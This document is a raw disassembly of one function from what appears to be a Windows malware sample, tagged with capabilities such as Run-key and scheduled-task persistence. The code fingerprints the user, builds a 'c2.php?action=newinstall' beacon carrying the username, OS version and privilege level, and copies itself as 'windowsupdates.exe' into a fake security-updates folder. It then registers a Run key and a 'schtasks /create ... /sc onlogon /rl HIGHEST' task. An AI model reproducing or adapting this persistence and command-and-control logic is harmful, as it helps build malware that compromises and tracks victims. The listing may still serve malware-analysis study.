Function at 0x1400025f0
Capabilities:
Copy file
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Schedule task via schtasks

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r13, qword [0x14000d018]
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebp, ebp
test rax, rax
jne 0x14000265c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea r8d, [rbp + 0x23]
lea rdx, str.Faild_to_load_library_Advapi32Dll__n
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov edi, ebp
jmp 0x1400026dd
lea rdx, str.GetUserNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400026a5
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea r8d, [rsi + 0x2d]
lea rdx, str.Faild_to_get_function_address_pGetUserNameW__n
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov rdi, rbp
jmp 0x1400026dd
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x98], 0x104
mov rcx, rax
mov rdi, rax
call rsi
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea r15, str.User
test rax, rax
jne 0x14000272c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, str.Faild_to_load_library_Shell32Dll__n
mov r8d, 0x22
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov r14, rbp
jmp 0x140002803
lea rdx, str.IsUserAnAdmin
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x140002778
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea r8d, [rsi + 0x2e]
lea rdx, str.Faild_to_get_function_address_pIsUserAnAdmin__n
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov r14, rbp
jmp 0x140002803
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r14, rax
call rsi
test r14, r14
je 0x140002803
cmp eax, 1
jne 0x1400027d2
lea rdx, str.Admin
cmp r14, rdx
je 0x140002803
mov rax, r14
mov ecx, 0x41
sub rdx, r14
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400027c0
jmp 0x140002800
cmp r14, r15
je 0x140002803
mov rdx, r15
mov rax, r14
sub rdx, r14
mov ecx, 0x55
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400027f0
mov word [rax], bp
call fcn.140001f30
mov r12, qword [0x14000d488]
mov rsi, rbp
mov r15, rax
cmp word [rdi], si
je 0x140002829
nop word [rax + rax]
inc rsi
cmp word [rdi + rsi*2], bp
jne 0x140002820
cmp word [r14], bp
je 0x14000283b
nop
inc rbp
cmp word [r14 + rbp*2], 0
jne 0x140002830
xor ebx, ebx
cmp word [rax], bx
je 0x14000284c
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002842
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [rbx + 0x104]
mov edx, 8
add r8, rbp
mov rcx, rax
add r8, rsi
call r12
mov r8, rax
mov edx, 0x26
test rax, rax
je 0x1400028ad
lea r9, str._c2.php
cmp rax, r9
je 0x1400028ad
mov ecx, 0x2f
sub r9, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [r9 + rax]
test cx, cx
jne 0x140002890
xor r12d, r12d
mov word [rax], r12w
mov rax, r8
jmp 0x1400028b9
xor r12d, r12d
test r8, r8
je 0x140002979
cmp word [r8], 0
je 0x1400028ca
add rax, 2
cmp word [rax], 0
jne 0x1400028c0
lea r9, str._actionnewinstall
mov ecx, 0x3f
sub r9, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [r9 + rax]
test cx, cx
jne 0x1400028e0
mov word [rax], r12w
mov rax, r8
cmp word [r8], cx
je 0x14000290a
nop
add rax, 2
cmp word [rax], 0
jne 0x140002900
lea r9, str.Username
movzx ecx, dx
sub r9, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [r9 + rax]
test cx, cx
jne 0x140002920
mov word [rax], r12w
test rdi, rdi
je 0x140002979
mov rax, r8
cmp word [r8], cx
je 0x14000294d
add rax, 2
cmp word [rax], 0
jne 0x140002943
movzx ecx, word [rdi]
test cx, cx
je 0x140002970
sub rdi, rax
nop dword [rax + rax]
mov word [rax], cx
add rax, 2
movzx ecx, word [rdi + rax]
test cx, cx
jne 0x140002960
mov word [rax], r12w
mov rax, r8
jmp 0x140002985
mov rax, r8
test r8, r8
je 0x140002a0a
cmp word [r8], 0
je 0x14000299a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140002990
lea r9, str.OsVersion
movzx ecx, dx
sub r9, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [r9 + rax]
test cx, cx
jne 0x1400029b0
mov word [rax], r12w
test r15, r15
je 0x140002a0a
mov rax, r8
cmp word [r8], cx
je 0x1400029dd
add rax, 2
cmp word [rax], 0
jne 0x1400029d3
movzx ecx, word [r15]
test cx, cx
je 0x140002a01
sub r15, rax
nop dword [rax]
mov word [rax], cx
add rax, 2
movzx ecx, word [r15 + rax]
test cx, cx
jne 0x1400029f0
mov word [rax], r12w
mov rax, r8
jmp 0x140002a16
mov rax, r8
test r8, r8
je 0x140002a94
cmp word [r8], 0
je 0x140002a2a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140002a20
lea rcx, str.Privileges
sub rcx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140002a40
mov word [rax], r12w
mov rax, r8
cmp word [r8], dx
je 0x140002a6a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140002a60
movzx ecx, word [r14]
test cx, cx
je 0x140002a90
mov rdx, r14
sub rdx, rax
nop dword [rax]
mov word [rax], cx
add rax, 2
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140002a80
mov word [rax], r12w
xor r9d, r9d
lea rdx, [0x14000aed8]
mov rcx, r13
call fcn.140001ca0
mov rcx, rax
call fcn.140001dc0
mov rdi, qword [0x14000d488]
mov rsi, rax
mov ebx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call rdi
mov edx, dword [rsi + 8]
mov rbp, rax
mov r8, qword [rsi]
test rax, rax
je 0x140002b00
test r8, r8
je 0x140002b00
test edx, edx
je 0x140002b00
mov rcx, rax
sub r8, rax
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
add edx, 0xffffffff
jne 0x140002af0
mov rax, qword [0x14000d470]
lea r8, [rsp + 0xa0]
lea rdx, str.SoftwareRedNode
mov rcx, 0xffffffff80000001
call rax
test eax, eax
jne 0x140002ca3
mov r10, qword [0x14000d450]
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rax + rbp], 0
jne 0x140002b40
mov rcx, qword [rsp + 0xa0]
lea r8, [0x14000b5ac]
add eax, eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor edx, edx
mov qword [rsp + 0x20], rbp
call r10
test eax, eax
jne 0x140002ca3
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rdx, r14
lea rcx, str.User
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov rbx, qword [0x14000d488]
test eax, eax
jne 0x140002cbd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r8d, 0x104
lea rcx, str.userprofile
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140002ed9
lea rdx, str.DocumentsWindowsecurityUpdates_
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.windowsupdates.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 1
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rax, qword [0x14000d470]
lea r8, [rsp + 0xa0]
lea rdx, str.SOFTWAREmicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call rax
test eax, eax
jne 0x140002ed9
mov rax, qword [0x14000d450]
nop dword [rax + rax]
inc rdi
cmp byte [rbx + rdi], 0
jne 0x140002c70
mov rcx, qword [rsp + 0xa0]
lea r8, str.windowsupdates
mov dword [rsp + 0x28], edi
mov r9d, 1
xor edx, edx
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
je 0x140002ed9
xor eax, eax
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r8d, 0x104
lea rcx, str.windir
mov rdx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, str.WindowSecurityUpdates_
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.windowsupdates.exe
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 1
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9, qword [0x14000d488]
mov edx, 8
mov rcx, rax
mov r8d, 0x104
mov rbx, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x104
mov rcx, rbx
mov rdi, rax
call r9
lea rdx, str.WindowsSecurityUpdate
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str.schtasks__create__tn__
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___tr__
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___sc_onlogon__rl_HIGHEST__f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x60]
call rbx
mov rsi, rax
test rax, rax
jne 0x140002e14
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8d, [rsi + 0x32]
lea rdx, str.Error:_Failed_to_allocate_memory_for_STARTUPINFOA.
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
jmp 0x140002ed9
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x10]
call rbx
mov rdi, rax
test rax, rax
jne 0x140002e79
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8d, [rdi + 0x39]
lea rdx, str.Error:_Failed_to_allocate_memory_for_PROCESS_INFORMATION.
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
jmp 0x140002ed9
mov qword [rsp + 0x48], rdi
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov rdx, r14
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rbx, qword [0x14000d458]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call rbx
mov rbx, qword [0x14000d458]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call rbx
mov rcx, rbp
call fcn.1400018c0
mov rbx, qword [0x14000d458]
mov qword [0x14000d438], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call rbx
mov eax, 1
jmp 0x140002ca5